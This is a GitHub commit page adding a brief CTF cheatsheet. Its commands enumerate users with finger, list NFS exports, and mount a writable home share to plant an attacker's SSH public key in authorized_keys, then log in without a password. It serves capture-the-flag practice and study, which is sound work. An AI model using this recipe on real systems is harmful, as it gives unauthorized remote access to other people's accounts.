Skip to content

Commit

Permalink
Added Cheatsheet
Browse files Browse the repository at this point in the history
Added Cheatsheet
  • Loading branch information
1nPr0c committed Jul 9, 2015
1 parent 065e0ea commit f882d46
Showing 1 changed file with 28 additions and 0 deletions.
28 changes: 28 additions & 0 deletions Cheatsheet_CTF.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
CTF Notes
---------

# Enumerate Users via Finger
finger [email protected]

# Show nfs shares available
showmount -e 192.168.1.54

# User nfspysh to mount share and create .ssh directory
nfspysh -o server=192.168.0.20:/home/user
mkdir .ssh
cd .ssh

# Generate ssh key pair
ssh-keygen
cp id_rsa.pub /tmp/authorized_keys

# Transfer attacker public key to host
put /tmp/authorized_keys
exit

# Login to SSH server with no password
SSH_AUTH_SOCK=0 ssh [email protected]




0 comments on commit f882d46

Please sign in to comment.